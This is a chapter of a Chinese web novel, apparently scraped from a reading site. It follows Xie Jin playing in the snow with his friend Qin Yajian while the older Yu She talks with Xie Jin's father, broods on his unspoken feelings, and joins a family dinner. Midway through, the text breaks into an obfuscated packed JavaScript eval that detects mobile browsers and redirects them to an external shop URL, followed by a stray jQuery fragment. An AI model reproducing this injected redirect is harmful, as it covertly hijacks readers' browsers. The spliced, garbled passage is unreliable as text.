22.22
作品:《一篇老房子着火文》 余赦那辆标志性大G在谢家老宅门口停下的时候,一个谢瑾十分熟悉的身影从门廊下跑过来。
秦雅健穿着一件亮橙色羽绒服,在一片雪白的庭院里格外扎眼,他来到车边,脸上是那种毫无阴霾的灿烂笑容,顺手就拉开了谢瑾那边的车门。
“小瑾!你这是去哪儿玩了?也不和我说一声。”
谢瑾不紧不慢地解开安全带,“去江雲潇那儿住了几天,你不是在冬训,这么快就回来了。”
“市队给我们放了几天春节假,我第一时间就过来找你了,还正好下雪,走走走。”
谢瑾被秦雅健拽下了车,他回头看了眼余赦,余赦也推开车门,走到后备箱往外拿谢瑾的行李。
秦雅健笑容依旧,他眼神在余赦身上停留了一瞬,带着点若有若无的打量,“余先生好。”
余赦略一颔首,算是回应。
谢阳从屋里走出来,他穿着一件深咖色的羊绒开衫,气质儒雅沉稳,看到余赦时脸上的笑意都深了几分。
“来了就别着急走,一起吃个饭。”谢阳语气里带着几分熟稔的亲近。
余赦没有推辞,把谢瑾的行李交给了一旁迎上来的管家。谢阳则是拍着余赦的肩膀,两人一起往屋内走,“正好有些日子没聊了,去我书房坐。”
“好。”
余赦看了谢瑾一眼,少年正被秦雅健拉着往后院,他有点儿不舍又无奈地看着余赦,好像在说回家之后就是这样,什么事情都没办法自己做主了。
S市的雪下得比栖云山庄大很多,融雪的速度也十分缓慢。
后院是一片开阔的雪地,积雪还没化尽,踩上去咯吱咯吱响。
谢瑾双手插兜,看秦雅健蹲在地上团雪球,动作麻利,有点纳闷地开口:“你来找我是为了堆雪人玩儿?”
秦雅健没听出谢瑾的言外之意,很坦然地点头说:“嗯啊,以前每年的第一个雪人都是我们一起堆的,不是吗?”
谢瑾沉默片刻后轻轻呼出一口气,脸上的笑逐渐变得真心实意起来,“行嘛,陪你玩儿。”
谢瑾把手从兜里抽出来,弯腰捧起一把雪,刚准备团成一个球就听到秦雅健说:“太冷了,你的手那么娇贵,用我的手套吧。”
说罢,秦雅健从口袋里掏出一双皮质手套递给谢瑾,谢瑾没和他客气,戴上之后左右看看,把后院某处放着的铲子扛过来,很快把雪人的身体堆好了。
秦雅健滚好了雪人的头,小心翼翼地搬过来安在雪人身体上,又捡了两截枯树枝插在两侧当手臂。
谢瑾跑回屋,让管家帮他找了几颗黑纽扣和一篮胡萝卜,往雪人脸上一按,一个歪嘴笑着的雪人就这么立起来了。
“鼻子歪了!”秦雅健笑着去扶那根胡萝卜,谢瑾却故意捣乱,伸手把胡萝卜往另一边掰。
“这样才有特色,还很可爱。”谢瑾对于艺术有自己的理解。
秦雅健对这种特色显然接受无能,“可爱什么,像流鼻涕!”
谢瑾眉毛一挑,“流鼻涕怎么了,你小时候不也老流鼻涕!”
两人你一句我一句,笑骂声飘得老远。
二楼落地窗前,余赦端着一杯温茶,把后院发生的一切看在眼里。
谢阳站在他身边,视线落在那两道闹腾的身影上,嘴角噙着淡淡的笑意,语气还有几分感慨,“初初这孩子,和谁一起玩儿都这么飞扬跋扈,也只有在你身边才显得文静一点儿。”
余赦轻笑,“这才是年轻人该有的样子,男孩子太文静不是什么好事。”
雪地里,谢瑾正和秦雅健一起调整雪人的手臂,两人凑得很近,头碰着头,似乎在商量什么。
秦雅健说着说着突然伸手帮谢瑾挽了下袖口,动作亲昵又自然,“都湿掉了,小心着凉。”
谢瑾抽回手,虽然秦雅健一直都这么殷勤,但整理袖口这种事还是没必要让他代劳,“我自己来就好。”
秦雅健“嗯”了一声,用余光瞥了眼二楼。
谢阳收回目光,看向余赦,笑容里满是欣慰,“听说你升职了,以后不用再往那些危险的地方跑了吧。”
余赦端起茶杯喝了一口,“升是升了,但说实话,心思不在那些事上。”
谢阳点头,他很理解余赦的想法,“我明白,办公室政治太搓磨心性,你还是更想做自己喜欢的事,但能安定下来总归让人放心些。”
谢阳顿了顿,语气更诚恳了些,“有什么需要的直接来找我就好,别客气。”
余赦微微颔首,说了句“谢谢”。
“这有什么好谢的。”谢阳摆摆手,目光又落回窗外那两个重新开始堆第二个雪人的身影上。
“要说谢,该是我谢你,初初说要到你那里去住的时候我就担心他会麻烦到你,之后听人说他在学校惹了什么事都是你出面摆平的,我和他妈妈反而对他的近况一无所知,要不是有你,我都不知道他在做什么,受委屈了也不和家里讲。”
余赦握着茶杯的手微微一顿。
窗外的雪地里,谢瑾似乎又和秦雅健起了什么争执,大概是关于第二个雪人的造型。
谢瑾把雪人的帽子扣得太歪了,秦雅健正手去扶,谢瑾就故意捣乱,两人又闹成一团。
余赦看着那道笑得眉眼弯弯的身影,过往回忆突然就如潮水一般涌上心头。
不管是初见谢瑾时的理解,到不愿意看谢瑾露出难过的表情,以及同意让谢瑾来家里居住,余赦自己把领地一寸寸让出去。
他纵容谢瑾在自己眼皮底下做那些笨拙又可爱的事情,从来不制止,就像逗猫那样,无所谓他怎么在家里翻肚皮打滚。
直到猫跳到他头上,说自己要当老大,还要彻底霸占余赦。
余赦终于意识到,谢瑾不是猫,不是小孩儿,他所做的一切行为举止都是成年人绝对能领会得到的暧昧。
谢瑾对余赦的需要始终源自于与父母之间的心结,他缠着余赦,本质上是寻求年长者的关心与呵护。
对任何事情寻根溯源一直是余赦的习惯,他下意识用理性去思考,找到所有结症的原因。
可他明明知道很多事情应该适可而止却从来没有阻止,这是他自己埋下的因果。
现在看见雪地里和同龄人打打闹闹,笑得毫无负担的谢瑾,余赦在心里叹了声气。
这么好的年纪,何必在一个三十好几的男人身上浪费功夫。
跨越了余赦这重山脉之后,谢瑾一定能够拥有更广阔的世界。
余赦垂下眼,又抿了一口茶。
茶水已经凉了,入口发涩。
“……身为他的长辈,这些都是我该做的。”
或许余赦那些不见天日的私心,注定被埋在皑皑白雪之中。
他只能守着和谢瑾现有的身份关系,不可再多肖想半分。
谢瑾和秦雅健很快把第二个雪人堆好,两人还让管家一起用秦雅健的相机拍了合影。
秦雅健检查成片的时候,谢瑾一边在旁边凑上去看一遍问:“这些照片你拍完之后会洗出来汇总吗?”
“嗯?会啊。”这还是这么多年来谢瑾第一次问秦雅健他拍的那些照片的下落。
秦雅健把相机交给管家,笑眯眯地开口:“这次假期刚好能给你过个生日,我早就准备好礼物了。”
谢瑾有点愣住了,他得知谢璇订婚宴选在他生日那天的时候满脑子只想着让余赦陪他了,别的都没考虑过。
秦雅健这么看重谢瑾的生日,情意谢瑾肯定要领,但是让谢瑾放弃原本的计划和秦雅健去玩儿显然不太可能。
谢瑾只好找个堂而皇之的托辞,“我生日那天谢璇和她男朋友订婚,可能没办法和你一起过了。”
秦雅健笑容淡了些,想到谢璇这些年对谢瑾的态度,他无奈地挠了挠鼻子,“她还是这样啊。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215863|197411||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谢瑾懒得点评谢璇这么做的用意是什么,把手套脱掉还给秦雅健,“这么多年来不忘初心怎么不算是好事,我先感谢你的生日礼物啦。”
秦雅健女朋友过来骚扰谢瑾的那段时间的确让他无语了很久,但是不管怎么说秦雅健对谢瑾的情谊没得说,只要秦雅健不做过分的事,谢瑾愿意和他一直保持朋友关系。
所以在看见秦雅健找自己堆雪人的时候,谢瑾先前对于秦雅健的那点儿芥蒂很快就消了。
人家爱做什么事人家的事,他指手画脚干什么。
反正这么多年来谢瑾知道的秘密只多不少,他能憋住一个不和任何人讲,也能憋住很多很多个。
秦雅健似乎对他送出去的生日礼物很有自信,提前给谢瑾打预防针,“到时候我要在你的账号上看见拆箱视频,可别痛哭流涕哦。”
“是嘛?那我先让你流涕!”
秦雅健脖子被谢瑾塞了一个雪团,冷得跳起来,抓起一把雪就往谢瑾脸上糊,谢瑾躲着躲着,脚下一滑,整个人差点仰倒在雪地里,还好秦雅健眼疾手快抓住他,否则两人都得摔个狗啃泥。
谢瑾心有余悸,拍着胸口像是有些后怕。
也不知道怎么回事,最近总是很容易摔跤,看来以后冬天还是得好好窝在家里,减少外出。
秦雅健依然抓着谢瑾的手,问他有没有吓到,谢瑾摇头说:“没事,回去吧,外面好冷。”
“行。”
晚饭时分,餐厅里灯火通明。
长长的餐桌上摆满了菜,热气腾腾,谢阳坐主位,苏颖真在旁边让管家倒葡萄酒,余赦被安排在客位,对面是谢瑾和秦雅健。
秦雅健话多,从游泳队的新训练计划又说到最近看的电影,又从电影说到寒假能去哪儿玩,最后绕回来说起小时候和谢瑾一起玩儿的时候出的糗,把苏颖真逗得连连发笑。
“那时候小瑾才上小学,非要跟着我去游泳馆,结果到了又不敢下水,抱着池边的柱子不撒手,我拽都拽不下来!”秦雅健比划着,笑得前仰后合,“后来还是我爸把他抱下来的,他哭了半天!”
谢瑾用筷子戳了戳碗里的米饭,瞪了秦雅健一眼,“你少胡说八道!”
“哪有胡说,叔叔你记不记得?”秦雅健转头找谢阳求证。
谢阳笑着点头,“是有这么回事,后来还是雅健一直在旁边陪着初初才慢慢不怕的。”
苏颖真目光柔和地看向秦雅健,“雅健这孩子从小就照顾初初,什么事儿都想着他。”
秦雅健不好意思地挠挠头,瞥了谢瑾一眼,有种说不清道不明的感觉。
“应该的嘛,我和小瑾一起长大的。”
谢瑾总觉得哪里有点怪,他给自己夹了一筷子菜,时不时瞧余赦一眼。
余赦安静地吃着饭,他听着那些关于谢瑾小时候的往事,秦雅健熟稔地提起那些他从未参与过的岁月,谢家人对这两个孩子关系的默认和期许。
男人没什么表情。
他只有一种本该如此的感觉。
当秦雅健故意夹走鸡腿,像小时候那样挑衅谢瑾,问谢瑾想不想吃的时候,谢瑾突然凝视了秦雅健几秒。
谢瑾终于明白那种怪异从何而来。
秦雅健殷勤过了头,分明是在刻意表演什么。
他希望谁是他的观众?
答案不言而喻。
可谢瑾不愿意陪他演这一出。
要放在以前,谢瑾肯定会和他争起来,最后以秦雅健让步妥协作为结尾。
但现在,谢瑾只是轻笑,“你喜欢你吃就好了,我长大啦,不在乎这些了。”
秦雅健夹着的鸡腿手没稳住,掉进了碗里。
苏颖真似乎很欣慰,并未发觉不妥,“初初是长大了,都学会谦让了呢。”
谢阳把一切看在眼里,而余赦还是一如既往的沉默,似乎什么都没发觉。

